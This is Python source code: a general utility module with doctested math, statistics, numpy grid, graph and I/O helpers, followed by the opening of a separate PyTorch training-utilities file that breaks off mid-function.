Returns:
A tuple (gcd, x, y) with the property that a * x + b * y = gcd.
>>> extended_gcd(29, 71)
(1, -22, 9)
>>> (29 * -22) % 71
1
"""
prev_x, x = 1, 0
prev_y, y = 0, 1
while b:
q = a // b
x, prev_x = prev_x - q * x, x
y, prev_y = prev_y - q * y, y
a, b = b, a % b
x, y = prev_x, prev_y
return a, x, y
def modular_inverse(a: int, b: int) -> int:
"""Return the multiplicative inverse of 'a' with respect to the modulus 'b'.
With the extended Euclidean algorithm, for the case that a and b are coprime,
i.e. gcd(a, b) = 1, applying "modulo b" to both sides of a * x + b * y = 1
results in (a * x) % b = 1, and hence 'x' is a modular multiplicative inverse
of 'a' with respect to the modulus 'b'.
See https://en.wikipedia.org/wiki/Modular_multiplicative_inverse
>>> modular_inverse(29, 71)
49
>>> (29 * 49) % 71
1
"""
# Note: This becomes available as "pow(a, -1, mod=b)" in Python 3.8.
gcd, x, unused_y = extended_gcd(a, b)
check_eq(gcd, 1)
return x % b
def diagnostic(a: Any) -> str:
"""Return a diagnostic string summarizing the values in 'a' for debugging.
Args:
a: Input values; must be convertible to an np.ndarray of scalars.
Returns:
A string summarizing the different types of arithmetic values.
>>> import textwrap
>>> print(textwrap.fill(diagnostic(
... [[math.nan, math.inf, -math.inf, -math.inf], [0, -1, 2, -0]])))
shape=(2, 4) dtype=float64 size=8 nan=1 posinf=1 neginf=2 finite=4,
min=-1.0, max=2.0, avg=0.25, sdv=1.25831) zero=2
"""
a = np.asarray(a)
dtype = a.dtype
if dtype == bool:
a = a.astype(np.uint8)
finite = a[np.isfinite(a)]
return (f'shape={a.shape} dtype={dtype} size={a.size}'
f' nan={np.isnan(a).sum()}'
f' posinf={np.isposinf(a).sum()}'
f' neginf={np.isneginf(a).sum()}'
f' finite{repr(Stats(finite))[10:]}'
f' zero={(finite == 0).sum()}')
## Statistics
class Stats:
r"""Statistics computed from numbers in an iterable.
>>> Stats()
Stats(size=0, min=inf, max=-inf, avg=nan, sdv=nan)
>>> Stats([1.5])
Stats(size=1, min=1.5, max=1.5, avg=1.5, sdv=0.0)
>>> Stats(range(3, 5))
Stats(size=2, min=3, max=4, avg=3.5, sdv=0.707107)
>>> Stats([3.0, 4.0])
Stats(size=2, min=3.0, max=4.0, avg=3.5, sdv=0.707107)
>>> Stats([-12345., 2.0**20])
Stats(size=2, min=-12345.0, max=1.04858e+06, avg=5.18116e+05, sdv=7.50184e+05)
>>> print(Stats(range(55)))
( 55) 0 : 54 av=27.0000 sd=16.0208
>>> print(Stats())
( 0) inf : -inf av=nan sd=nan
>>> str(Stats() + Stats([3.0]))
'( 1) 3.00000 : 3.00000 av=3.00000 sd=0.00000'
>>> print(f'{Stats([-12345., 2.0**20]):14.9}')
( 2) -12345.0 : 1048576.0 av=518115.5 sd=750184.433
>>> print(f'{Stats([-12345., 2.0**20]):#10.4}')
( 2) -1.234e+04 : 1.049e+06 av=5.181e+05 sd=7.502e+05
>>> len(Stats([1, 2]))
2
>>> Stats([-2, 2]).rms()
2.0
>>> a = Stats([1, 2])
>>> a.min(), a.max(), a.avg()
(1, 2, 1.5)
>>> stats1 = Stats([-3, 7])
>>> stats2 = Stats([1.25e11 / 3, -1_234_567_890])
>>> stats3 = stats1 + stats2 * 20_000_000
>>> print(stats1, f'{stats2}', format(stats3), sep='\n')
( 2) -3 : 7 av=2.00000 sd=7.07107
( 2) -1.23457e+09 : 4.16667e+10 av=2.02160e+10 sd=3.03358e+10
( 40_000_002) -1.23457e+09 : 4.16667e+10 av=2.02160e+10 sd=2.14506e+10
>>> fmt = '9.3'
>>> print(f'{stats1:{fmt}}', f'{stats2:{fmt}}', f'{stats3:{fmt}}', sep='\n')
( 2) -3 : 7 av=2.0 sd=7.07
( 2) -1.23e+09 : 4.17e+10 av=2.02e+10 sd=3.03e+10
( 40_000_002) -1.23e+09 : 4.17e+10 av=2.02e+10 sd=2.15e+10
"""
_size: int
_sum: float
_sum2: float
_min: float
_max: float
def __init__(self, *args: Any) -> None:
if not args:
self._size = 0
self._sum = 0.0
self._sum2 = 0.0
self._min = math.inf
self._max = -math.inf
elif len(args) == 1:
a = array_always(args[0])
self._size = a.size
self._sum = a.sum()
self._sum2 = np.square(a).sum()
self._min = a.min() if a.size > 0 else math.inf
self._max = a.max() if a.size > 0 else -math.inf
else:
(self._size, self._sum, self._sum2, self._min, self._max) = args
def sum(self) -> float:
"""Return the sum of the values.
>>> f'{Stats([3.5, 2.2, 4.4]).sum():.8g}'
'10.1'
"""
return self._sum
def min(self) -> float:
"""Return the minimum value.
>>> Stats([3.5, 2.2, 4.4]).min()
2.2
"""
return self._min
def max(self) -> float:
"""Return the maximum value.
>>> Stats([3.5, 2.2, 4.4]).max()
4.4
"""
return self._max
def avg(self) -> float:
"""Return the average.
>>> Stats([1, 1, 4]).avg()
2.0
"""
return math.nan if self._size == 0 else self._sum / self._size
def ssd(self) -> float:
"""Return the sum of squared deviations.
>>> Stats([1, 1, 4]).ssd()
6.0
"""
return (math.nan if self._size == 0 else
max(self._sum2 - self._sum**2 / self._size, 0))
def var(self) -> float:
"""Return the unbiased estimate of variance, as in np.var(a, ddof=1).
>>> Stats([1, 1, 4]).var()
3.0
"""
return (math.nan if self._size == 0 else
0.0 if self._size == 1 else
self.ssd() / (self._size - 1))
def sdv(self) -> float:
"""Return the unbiased standard deviation as in np.std(a, ddof=1).
>>> Stats([1, 1, 4]).sdv()
1.7320508075688772
"""
return self.var()**0.5
def rms(self) -> float:
"""Return the root-mean-square.
>>> Stats([1, 1, 4]).rms()
2.449489742783178
>>> Stats([-1, 1]).rms()
1.0
"""
return 0.0 if self._size == 0 else (self._sum2 / self._size)**0.5
def __format__(self, format_spec: str = '') -> str:
"""Return a summary of the statistics (size, min, max, avg, sdv)."""
fmt = format_spec if format_spec else '#12.6'
fmt_int = fmt[:fmt.find('.')] if fmt.find('.') >= 0 else ''
fmt_min = fmt if isinstance(self._min, np.floating) else fmt_int
fmt_max = fmt if isinstance(self._max, np.floating) else fmt_int
return (f'({self._size:11_})'
f' {self._min:{fmt_min}} :'
f' {self._max:<{fmt_max}}'
f' av={self.avg():<{fmt}}'
f' sd={self.sdv():<{fmt}}').rstrip()
def __str__(self) -> str:
return self.__format__()
def __repr__(self) -> str:
fmt = '.6'
fmt_int = ''
fmt_min = fmt if isinstance(self._min, np.floating) else fmt_int
fmt_max = fmt if isinstance(self._max, np.floating) else fmt_int
return (f'Stats(size={self._size}, '
f'min={self._min:{fmt_min}}, '
f'max={self._max:{fmt_max}}, '
f'avg={self.avg():{fmt}}, '
f'sdv={self.sdv():{fmt}})')
def __len__(self) -> int:
return self._size
def __eq__(self, other: object) -> bool:
if not isinstance(other, Stats):
return NotImplemented
return ((self._size, self._sum, self._sum2, self._min, self._max) ==
(other._size, other._sum, other._sum2, other._min, other._max))
def __add__(self, other: 'Stats') -> 'Stats':
"""Return combined statistics.
>>> Stats([2, -1]) + Stats([7, 5]) == Stats([-1, 2, 5, 7])
True
"""
return Stats(self._size + other._size, self._sum + other._sum,
self._sum2 + other._sum2, min(self._min, other._min),
max(self._max, other._max))
def __mul__(self, n: int) -> 'Stats':
"""Return statistics whereby each element appears 'n' times.
>>> Stats([4, -2]) * 3 == Stats([-2, -2, -2, 4, 4, 4])
True
"""
return Stats(
self._size * n, self._sum * n, self._sum2 * n, self._min, self._max)
## Numpy operations
def array_always(a: Any) -> _NDArray:
"""Return a numpy array even if a is an iterator of subarrays.
>>> array_always(np.array([[1, 2], [3, 4]]))
array([[1, 2],
[3, 4]])
>>> array_always(range(3) for _ in range(2))
array([[0, 1, 2],
[0, 1, 2]])
>>> array_always(np.array([[1, 2], [3, 4]]))
array([[1, 2],
[3, 4]])
"""
if isinstance(a, collections.abc.Iterator):
return np.array(tuple(a))
return np.asarray(a)
def bounding_slices(a: Any) -> Tuple[slice, ...]:
"""Return the slices that bound the nonzero elements of array.
>>> bounding_slices(())
(slice(0, 0, None),)
>>> bounding_slices(np.ones(0))
(slice(0, 0, None),)
>>> bounding_slices(np.ones((0, 10)))
(slice(0, 0, None), slice(0, 0, None))
>>> bounding_slices(32.0)
(slice(0, 1, None),)
>>> bounding_slices([0.0, 0.0, 0.0, 0.5, 1.5, 0.0, 2.5, 0.0, 0.0])
(slice(3, 7, None),)
>>> a = np.array([0, 0, 6, 7, 0, 0])
>>> a[bounding_slices(a)]
array([6, 7])
>>> a = np.array([[0, 0, 0], [0, 1, 1], [0, 0, 0]])
>>> a[bounding_slices(a)]
array([[1, 1]])
>>> bounding_slices([[[0, 0], [0, 1]], [[0, 0], [0, 0]]])
(slice(0, 1, None), slice(1, 2, None), slice(1, 2, None))
"""
a = np.atleast_1d(a)
slices = []
for dim in range(a.ndim):
line = a.any(axis=tuple(i for i in range(a.ndim) if i != dim))
indices = line.nonzero()[0]
if indices.size:
vmin, vmax = indices[[0, -1]]
slices.append(slice(vmin, vmax + 1))
else:
slices.append(slice(0, 0)) # Empty slice.
return tuple(slices)
def broadcast_block(a: Any, block_shape: Any) -> _NDArray:
"""Return an array view where each element of 'a' is repeated as a block.
Args:
a: input array of any dimension.
block_shape: shape for the block that each element of 'a' becomes. If a
scalar value, all block dimensions are assigned this value.
Returns:
an array view with shape "a.shape * block_shape".
>>> print(broadcast_block(np.arange(8).reshape(2, 4), (2, 3)))
[[0 0 0 1 1 1 2 2 2 3 3 3]
[0 0 0 1 1 1 2 2 2 3 3 3]
[4 4 4 5 5 5 6 6 6 7 7 7]
[4 4 4 5 5 5 6 6 6 7 7 7]]
>>> a = np.arange(6).reshape(2, 3)
>>> result = broadcast_block(a, (2, 3))
>>> result.shape
(4, 9)
>>> np.all(result == np.kron(a, np.ones((2, 3), dtype=a.dtype)))
True
"""
block_shape = np.broadcast_to(block_shape, (a.ndim,))
# Inspired from https://stackoverflow.com/a/52339952
# and https://stackoverflow.com/a/52346065
shape1 = tuple(v for pair in zip(a.shape, (1,) * a.ndim) for v in pair)
shape2 = tuple(v for pair in zip(a.shape, block_shape) for v in pair)
final_shape = a.shape * block_shape
return np.broadcast_to(a.reshape(shape1), shape2).reshape(final_shape)
def np_int_from_ch(a: Any, int_from_ch: Mapping[str, int],
dtype: Any = None) -> _NDArray:
"""Return array of integers by mapping from array of characters.
>>> np_int_from_ch(np.array(list('abcab')), {'a': 0, 'b': 1, 'c': 2})
array([0, 1, 2, 0, 1])
"""
# Adapted from https://stackoverflow.com/a/49566980
a = np.asarray(a).view(np.int32)
lookup = np.zeros(a.max() + 1, dtype=dtype or np.int64)
for ch, value in int_from_ch.items():
lookup[ord(ch)] = value
return lookup[a]
def grid_from_string(string: str,
int_from_ch: Optional[Mapping[str, int]] = None,
dtype: Any = None) -> _NDArray:
r"""Return a 2D array created from a multiline string.
Args:
string: Nonempty lines correspond to the rows of the grid, with one chr
per grid element.
int_from_ch: Mapping from the chr in string to integers in the resulting
grid; if None, the grid contains chr elements (dtype='<U1').
dtype: Integer element type for the result of int_from_ch.
>>> string = '..B\nB.A\n'
>>> g = grid_from_string(string)
>>> g, g.nbytes
(array([['.', '.', 'B'],
['B', '.', 'A']], dtype='<U1'), 24)
>>> g = grid_from_string(string, {'.': 0, 'A': 1, 'B': 2})
>>> g, g.nbytes
(array([[0, 0, 2],
[2, 0, 1]]), 48)
>>> g = grid_from_string(string, {'.': 0, 'A': 1, 'B': 2}, dtype=np.uint8)
>>> g, g.nbytes
(array([[0, 0, 2],
[2, 0, 1]], dtype=uint8), 6)
"""
# grid = np.array(list(map(list, string.strip('\n').split('\n')))) # Slow.
lines = string.strip('\n').splitlines()
height, width = len(lines), len(lines[0])
grid = np.empty((height, width), dtype='U1')
dtype_for_row = f'U{width}'
for i, line in enumerate(lines):
grid[i].view(dtype_for_row)[0] = line
if int_from_ch is None:
assert dtype is None
else:
grid = np_int_from_ch(grid, int_from_ch, dtype=dtype)
return grid
def string_from_grid(grid: Any,
ch_from_int: Optional[Mapping[int, str]] = None) -> str:
r"""Return a multiline string created from a 2D array.
Args:
grid: 2D array-like data containing either chr or integers.
ch_from_int: Mapping from each integer in grid to the chr in the resulting
string; if None, the grid must contain str or byte elements.
>>> string_from_grid([[0, 1], [0, 0]], {0: '.', 1: '#'})
'.#\n..'
>>> string_from_grid([['a', 'b', 'c'], ['d', 'e', 'f']])
'abc\ndef'
>>> string_from_grid([[b'A', b'B'], [b'C', b'D']])
'AB\nCD'
"""
grid = np.asarray(grid)
check_eq(grid.ndim, 2)
lines = []
for y in range(grid.shape[0]):
if ch_from_int is None:
if grid.dtype.kind == 'S': # or dtype.type == np.bytes_
line = b''.join(grid[y]).decode('ascii')
else:
line = ''.join(grid[y])
else:
line = ''.join(ch_from_int[elem] for elem in grid[y])
lines.append(line)
return '\n'.join(lines)
def grid_from_indices(iterable_or_map: Union[Iterable[Sequence[int]],
Mapping[Sequence[int], Any]],
background: Any = 0,
foreground: Any = 1,
indices_min: Optional[Union[int, Sequence[int]]] = None,
indices_max: Optional[Union[int, Sequence[int]]] = None,
pad: Union[int, Sequence[int]] = 0,
dtype: Any = None) -> _NDArray:
r"""Return an array from (sparse) indices or from a map {index: value}.
Indices are sequences of integers with some length D, which determines the
dimensionality of the output array. The array shape is computed by bounding
the range of index coordinates in each dimension (which may be overriden by
'indices_min' and 'indices_max') and is adjusted by the 'pad' parameter.
Args:
iterable_or_map: A sequence of indices or a mapping from indices to values.
background: Value assigned to the array elements not in 'iterable_or_map'.
foreground: If 'iterable_or_map' is an iterable, the array value assigned to
its indices.
indices_min: For each dimension, the index coordinate that gets mapped to
coordinate zero in the array. Replicated if an integer.
indices_max: For each dimension, the index coordinate that gets mapped to
the last coordinate in the array. Replicated if an integer.
pad: For each dimension d, number of additional slices of 'background'
values before and after the range [indices_min[d], indices_max[d]].
dtype: Data type of the output array.
Returns:
A D-dimensional numpy array initialized with the value 'background' and
then sparsely assigned the elements in the parameter 'iterable_or_map'
(using 'foreground' value if an iterable, or the map values if a map).
By default, array spans a tight bounding box of the indices, but these
bounds can be overridden using 'indices_min', 'indices_max', and 'pad'.
>>> l = [(-1, -2), (-1, 1), (1, 0)]
>>> grid_from_indices(l)
array([[1, 0, 0, 1],
[0, 0, 0, 0],
[0, 0, 1, 0]])
>>> grid_from_indices(l, indices_max=(1, 2))
array([[1, 0, 0, 1, 0],
[0, 0, 0, 0, 0],
[0, 0, 1, 0, 0]])
>>> grid_from_indices(l, foreground='#', background='.')
array([['#', '.', '.', '#'],
['.', '.', '.', '.'],
['.', '.', '#', '.']], dtype='<U1')
>>> l = [5, -2, 1]
>>> grid_from_indices(l, pad=1)
array([0, 1, 0, 0, 1, 0, 0, 0, 1, 0])
>>> grid_from_indices(l, indices_min=-4, indices_max=5)
array([0, 0, 1, 0, 0, 1, 0, 0, 0, 1])
>>> l = [(1, 1, 1), (2, 2, 2), (2, 1, 1)]
>>> repr(grid_from_indices(l))
'array([[[1, 0],\n [0, 0]],\n\n [[1, 0],\n [0, 1]]])'
>>> m = {(-1, 0): 'A', (0, 2): 'B', (1, 1): 'C'}
>>> grid_from_indices(m, background=' ')
array([['A', ' ', ' '],
[' ', ' ', 'B'],
[' ', 'C', ' ']], dtype='<U1')
>>> grid_from_indices(m, background=' ', dtype='S1')
array([[b'A', b' ', b' '],
[b' ', b' ', b'B'],
[b' ', b'C', b' ']], dtype='|S1')
>>> grid_from_indices({(0, 0): (255, 1, 2), (1, 2): (3, 255, 4)})
array([[[255, 1, 2],
[ 0, 0, 0],
[ 0, 0, 0]],
<BLANKLINE>
[[ 0, 0, 0],
[ 0, 0, 0],
[ 3, 255, 4]]])
"""
assert isinstance(iterable_or_map, collections.abc.Iterable)
is_map = False
if isinstance(iterable_or_map, collections.abc.Mapping):
is_map = True
mapping: Mapping[Sequence[int], Any] = iterable_or_map
indices = np.array(list(iterable_or_map))
if indices.ndim == 1:
indices = indices[:, None]
assert indices.ndim == 2 and np.issubdtype(indices.dtype, np.integer)
def get_min_or_max_bound(f: Any, x: Any) -> _NDArray:
return f(indices, axis=0) if x is None else np.full(indices.shape[1], x)
i_min = get_min_or_max_bound(np.min, indices_min)
i_max = get_min_or_max_bound(np.max, indices_max)
a_pad = np.asarray(pad)
shape = i_max - i_min + 2 * a_pad + 1
offset = -i_min + a_pad
elems = [next(iter(mapping.values()))] if is_map and mapping else []
elems += [background, foreground]
shape = (*shape, *np.broadcast(*elems).shape)
dtype = np.array(elems[0], dtype=dtype).dtype
grid = np.full(shape, background, dtype=dtype)
indices += offset
grid[tuple(indices.T)] = list(mapping.values()) if is_map else foreground
return grid
def image_from_yx_map(map_yx_value: Mapping[Tuple[int, int], Any],
background: Any,
cmap: Mapping[Any, Tuple[numbers.Integral,
numbers.Integral,
numbers.Integral]],
pad: Union[int, Sequence[int]] = 0) -> _NDArray:
"""Return image from mapping {yx: value} and cmap = {value: rgb}.
>>> m = {(2, 2): 'A', (2, 4): 'B', (1, 3): 'A'}
>>> cmap = {'A': (100, 1, 2), 'B': (3, 200, 4), ' ': (235, 235, 235)}
>>> image_from_yx_map(m, background=' ', cmap=cmap)
array([[[235, 235, 235],
[100, 1, 2],
[235, 235, 235]],
<BLANKLINE>
[[100, 1, 2],
[235, 235, 235],
[ 3, 200, 4]]], dtype=uint8)
"""
array = grid_from_indices(map_yx_value, background=background, pad=pad)
image = np.array([
cmap[e] for e in array.flat # pylint: disable=not-an-iterable
], dtype=np.uint8).reshape(*array.shape, 3)
return image
def fit_shape(shape: Sequence[int], num: int) -> Tuple[int, ...]:
"""Given 'shape' with one optional -1 dimension, make it fit 'num' elements.
Args:
shape: Input dimensions. These must be positive, except that one dimension
may be -1 to indicate that it should be computed. If all dimensions are
positive, these must satisfy np.prod(shape) >= num.
num: Number of elements to fit into the output shape.
Returns:
The original 'shape' if all its dimensions are positive. Otherwise, a
new_shape where the unique dimension with value -1 is replaced by the
smallest number such that np.prod(new_shape) >= num.
>>> fit_shape((3, 4), 10)
(3, 4)
>>> fit_shape((5, 2), 11)
Traceback (most recent call last):
...
ValueError: (5, 2) is insufficiently large for 11 elements.
>>> fit_shape((3, -1), 10)
(3, 4)
>>> fit_shape((-1, 10), 51)
(6, 10)
"""
shape = tuple(shape)
if not all(dim > 0 for dim in shape if dim != -1):
raise ValueError(f'Shape {shape} has non-positive dimensions.')
if sum(dim == -1 for dim in shape) > 1:
raise ValueError(f'More than one dimension in {shape} is -1.')
if -1 in shape:
slice_size = np.prod([dim for dim in shape if dim != -1])
shape = tuple((num + slice_size - 1) // slice_size if dim == -1 else dim
for dim in shape)
elif np.prod(shape) < num:
raise ValueError(f'{shape} is insufficiently large for {num} elements.')
return shape
def assemble_arrays(arrays: Sequence[_NDArray],
shape: Sequence[int],
background: Any = 0,
*,
align: str = 'center',
spacing: Any = 0,
round_to_even: Any = False) -> _NDArray:
"""Return an output array formed as a packed grid of input arrays.
Args:
arrays: Sequence of input arrays with the same data type and rank. The
arrays must have the same trailing dimensions arrays[].shape[len(shape):].
The leading dimensions arrays[].shape[:len(shape)] may be different and
these are packed together as a grid to form output.shape[:len(shape)].
shape: Dimensions of the grid used to unravel the arrays before packing. The
dimensions must be positive, with prod(shape) >= len(arrays). One
dimension of shape may be -1, in which case it is computed automatically
as the smallest value such that prod(shape) >= len(arrays).
background: Broadcastable value used for the unassigned elements of the
output array.
align: Relative position ('center', 'start', or 'stop') for each input array
and for each axis within its output grid cell. The value must be
broadcastable onto the shape [len(arrays), len(shape)].
spacing: Extra space between grid elements. The value may be specified
per-axis, i.e., it must be broadcastable onto the shape [len(shape)].
round_to_even: If True, ensure that the final output dimension of each axis
is even. The value must be broadcastable onto the shape [len(shape)].
Returns:
A numpy output array of the same type as the input 'arrays', with
output.shape = packed_shape + arrays[0].shape[len(shape):], where
packed_shape is obtained by packing arrays[:].shape[:len(shape)] into a
grid of the specified 'shape'.
>>> assemble_arrays(
... [np.array([[1, 2, 3]]), np.array([[5], [6]]), np.array([[7]]),
... np.array([[8, 9]]), np.array([[3, 4, 5]])],
... shape=(2, 3))
array([[1, 2, 3, 0, 5, 0, 7],
[0, 0, 0, 0, 6, 0, 0],
[8, 9, 0, 3, 4, 5, 0]])
"""
num = len(arrays)
if num == 0:
raise ValueError('There must be at least one input array.')
shape = fit_shape(shape, num)
if any(array.dtype != arrays[0].dtype for array in arrays):
raise ValueError(f'Arrays {arrays} have different types.')
tail_dims = arrays[0].shape[len(shape):]
if any(array.shape[len(shape):] != tail_dims for array in arrays):
raise ValueError(f'Shapes of {arrays} do not all end in {tail_dims}')
align = np.broadcast_to(align, (num, len(shape)))
spacing = np.broadcast_to(spacing, (len(shape)))
round_to_even = np.broadcast_to(round_to_even, (len(shape)))
# [shape] -> leading dimensions [:len(shape)] of each input array.
head_dims = np.array([list(array.shape[:len(shape)]) for array in arrays] +
[[0] * len(shape)] * (np.prod(shape) - num)).reshape(
*shape, len(shape))
# For each axis, find the length and position of each slice of input arrays.
axis_lengths, axis_origins = [], []
for axis, shape_axis in enumerate(shape):
all_lengths = np.moveaxis(head_dims[..., axis], axis, 0)
# Find the length of each slice along axis as the max over its arrays.
lengths = all_lengths.max(axis=tuple(range(1, len(shape))))
# Compute the dimension of the output axis.
total_length = lengths.sum() + spacing[axis] * (shape_axis - 1)
if round_to_even[axis] and total_length % 2 == 1:
lengths[-1] += 1 # Lengthen the last slice so the axis dimension is even.
axis_lengths.append(lengths)
# Insert inter-element padding spaces.
spaced_lengths = np.insert(lengths, 0, 0)
spaced_lengths[1:-1] += spacing[axis]
# Compute slice positions along axis as cumulative sums of slice lengths.
axis_origins.append(spaced_lengths.cumsum())
# [shape] -> smallest corner coords in output array.
origins = np.moveaxis(np.meshgrid(*axis_origins, indexing='ij'), 0, -1)
# Initialize the output array.
output_shape = tuple(origins[(-1,) * len(shape)]) + tail_dims
output_array = np.full(output_shape, background, dtype=arrays[0].dtype)
def offset(length: int, size: int, align: str) -> int:
"""Return an offset to align element of given size within cell of length."""
remainder = length - size
if align not in ('start', 'stop', 'center'):
raise ValueError(f'Alignment {align} is not recognized.')
return (0 if align == 'start' else
remainder if align == 'stop' else remainder // 2)
# Copy each input array to its packed, aligned location in the output array.
for i, array in enumerate(arrays):
coords = np.unravel_index(i, shape)
slices = []
for axis in range(len(shape)):
start = origins[coords][axis]
length = axis_lengths[axis][coords[axis]]
extent = array.shape[axis]
aligned_start = start + offset(length, extent, align[i][axis])
slices.append(slice(aligned_start, aligned_start + extent))
output_array[tuple(slices)] = array
return output_array
def shift(array: Any, offset: Any, constant_values: Any = 0) -> _NDArray:
"""Return a copy of the array shifted by offset, with fill using constant.
>>> array = np.arange(1, 13).reshape(3, 4)
>>> shift(array, (1, 1))
array([[0, 0, 0, 0],
[0, 1, 2, 3],
[0, 5, 6, 7]])
>>> shift(array, (-1, -2), constant_values=-1)
array([[ 7, 8, -1, -1],
[11, 12, -1, -1],
[-1, -1, -1, -1]])
"""
array = np.asarray(array)
offset = np.atleast_1d(offset)
assert offset.shape == (array.ndim,)
new_array = np.empty_like(array)
def slice_axis(o: int) -> slice:
return slice(o, None) if o >= 0 else slice(0, o)
new_array[tuple(slice_axis(o) for o in offset)] = (
array[tuple(slice_axis(-o) for o in offset)])
for axis, o in enumerate(offset):
new_array[(slice(None),) * axis +
(slice(0, o) if o >= 0 else slice(o, None),)] = constant_values
return new_array
## Graph algorithms
class UnionFind:
"""Union-find is an efficient technique for tracking equivalence classes as
pairs of elements are incrementally unified into the same class. See
https://en.wikipedia.org/wiki/Disjoint-set_data_structure .
The implementation uses path compression but without weight-balancing, so the
worst case time complexity is O(n*log(n)), but the average case is O(n).
>>> union_find = UnionFind()
>>> union_find.find(1)
1
>>> union_find.find('hello')
'hello'
>>> union_find.same('hello', 'hello')
True
>>> union_find.same('hello', 'different')
False
>>> union_find.union('hello', 'there')
>>> union_find.find('hello')
'hello'
>>> union_find.find('there')
'hello'
>>> union_find.same('hello', 'there')
True
>>> union_find.union('there', 'here')
>>> union_find.same('hello', 'here')
True
"""
def __init__(self) -> None:
self._rep: Dict[Any, Any] = {}
def union(self, a: Any, b: Any) -> None:
"""Merge the equivalence class of b into that of a."""
rep_a, rep_b = self.find(a), self.find(b)
self._rep[rep_b] = rep_a
def same(self, a: Any, b: Any) -> bool:
"""Return whether a and b are in the same equivalence class."""
result: bool = self.find(a) == self.find(b)
return result
def find(self, a: Any) -> Any:
"""Return a representative for the class of a; valid until next union()."""
if a not in self._rep:
return a
parents = []
while True:
parent = self._rep.setdefault(a, a)
if parent == a:
break
parents.append(a)
a = parent
for p in parents:
self._rep[p] = a
return a
def topological_sort(graph: Mapping[_T, Sequence[_T]],
cycle_check: bool = False) -> List[_T]:
"""Given a dag (directed acyclic graph), return a list of graph nodes such
that for every directed edge (u, v) in the graph, u is before v in the list.
See https://en.wikipedia.org/wiki/Topological_sorting and
https://stackoverflow.com/a/47234034 .
>>> graph = {2: [3], 3: [4], 1: [2], 4: []}
>>> topological_sort(graph)
[1, 2, 3, 4]
>>> topological_sort({2: [3], 3: [4, 5], 1: [2], 4: [5], 5: []})
[1, 2, 3, 4, 5]
"""
if sys.version_info > (3, 9):
import graphlib # pylint: disable=import-error
return list(graphlib.TopologicalSorter(graph).static_order())[::-1]
result = []
seen = set()
def recurse(node: _T) -> None:
for dependent in reversed(graph[node]):
if dependent not in seen:
seen.add(dependent)
recurse(dependent)
result.append(node)
all_dependents: Set[_T] = set()
all_dependents.update(*graph.values())
for node in reversed(list(graph)): # (reversed(graph) in Python 3.8).
if node not in all_dependents:
recurse(node)
if cycle_check:
position = {node: i for i, node in enumerate(result)}
for node, dependents in graph.items():
for dependent in dependents:
if position[node] < position[dependent]:
raise ValueError('Graph contains a cycle')
return result[::-1]
## Search algorithms
def discrete_binary_search(feval: Callable[[Any], Any], xl: Any, xh: Any,
y_desired: Any) -> Any:
"""Return x such that feval(x) <= y_desired < feval(x + 1),
Parameters must satisfy xl < xh and feval(xl) <= y_desired < feval(xh).
>>> discrete_binary_search(lambda x: x**2, 0, 20, 15)
3
>>> discrete_binary_search(lambda x: x**2, 0, 20, 16)
4
>>> discrete_binary_search(lambda x: x**2, 0, 20, 17)
4
>>> discrete_binary_search(lambda x: x**2, 0, 20, 24)
4
>>> discrete_binary_search(lambda x: x**2, 0, 20, 25)
5
"""
assert xl < xh
while xh - xl > 1:
xm = (xl + xh) // 2
ym = feval(xm)
if y_desired >= ym:
xl = xm
else:
xh = xm
return xl
## General I/O
def write_contents(path: str, data: Union[str, bytes]) -> None:
"""Write data (either utf-8 string or bytes) to file.
>>> with tempfile.TemporaryDirectory() as dir:
... path = pathlib.Path(dir) / 'file'
... write_contents(path, b'hello')
... check_eq(path.read_bytes(), b'hello')
... write_contents(path, 'hello2')
... check_eq(path.read_text(), 'hello2')
"""
bytes_data: bytes = data if isinstance(data, bytes) else data.encode()
with open(path, 'wb') as f:
f.write(bytes_data)
def is_executable(path: _Path) -> bool:
"""Check if a file is executable.
>>> with tempfile.TemporaryDirectory() as dir:
... path = pathlib.Path(dir) / 'file'
... _ = path.write_text('test')
... check_eq(is_executable(path), False)
... if sys.platform != 'cygwin':
... # Copy R bits to X bits:
... path.chmod(path.stat().st_mode | ((path.stat().st_mode & 0o444) >> 2))
... check_eq(is_executable(path), True)
"""
return bool(pathlib.Path(path).stat().st_mode & stat.S_IEXEC)
## OS commands
def run(args: Union[str, Sequence[str]]) -> None:
"""Execute command, printing output from stdout and stderr.
Args:
args: Command to execute, which can be either a string or a sequence of word
strings, as in `subprocess.run()`. If `args` is a string, the shell is
invoked to interpret it.
Raises:
RuntimeError: If the command's exit code is nonzero.
>>> with tempfile.TemporaryDirectory() as dir:
... path = pathlib.Path(dir) / 'file'
... run(f'echo ab >{path}')
... assert path.is_file() and 3 <= path.stat().st_size <= 4
"""
proc = subprocess.run(
args,
shell=isinstance(args, str),
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
check=False,
universal_newlines=True)
print(proc.stdout, end='', flush=True)
if proc.returncode:
raise RuntimeError(
f"Command '{proc.args}' failed with code {proc.returncode}.")
if __name__ == '__main__':
doctest.testmod()
|
import functools
import os
import random
import warnings
from collections import OrderedDict
from datetime import datetime
import numpy as np
import torch
import torch.backends.cudnn as torchcudnn
from openpyxl import load_workbook, Workbook
from thop import profile
from torch.autograd.variable import Variable
class AvgMeter(object):
def __init__(self):
self.reset()
def reset(self):
self.val = 0
self.avg = 0
self.sum = 0
self.count = 0
def update(self, val, n=1):
self.val = val
self.sum += val * n
self.count += n
self.avg = self.sum / self.count
def check_mkdir(dir_path):
if not os.path.exists(dir_path):
os.makedirs(dir_path)
def init_seed(seed: int):
os.environ["PYTHONHASHSEED"] = str(seed)
random.seed(seed)
np.random.seed(seed)
torch.manual_seed(seed)
torch.cuda.manual_seed_all(seed) # if you are using multi-GPU.
def init_cudnn(benchmark=True):
torchcudnn.enabled = True
if benchmark:
construct_print("We don't use the multi-training, so we will use the `cudnn.benchmark`")
torchcudnn.benchmark = benchmark
torchcudnn.deterministic = True
construct_print(
"You have chosen to seed training. "
"This will turn on the CUDNN deterministic setting, "
"which can slow down your training considerably! "
"You may see unexpected behavior when restarting "
"from checkpoints."
)
def calc_flops(model, input_size):
# USE_GPU = torch.cuda.is_available()
USE_GPU = False
def conv_hook(self, input, output):
batch_size, input_channels, input_height, input_width = input[0].size()
output_channels, output_height, output_width = output[0].size()
kernel_ops = (
self.kernel_size[0] * self.kernel_size[1] * (self.in_channels / self.groups) * (2 if multiply_adds else 1)
)
bias_ops = 1 if self.bias is not None else 0
params = output_channels * (kernel_ops + bias_ops)
flops = batch_size * params * output_height * output_width
list_conv.append(flops)
def linear_hook(self, input, output):
batch_size = input[0].size(0) if input[0].dim() == 2 else 1
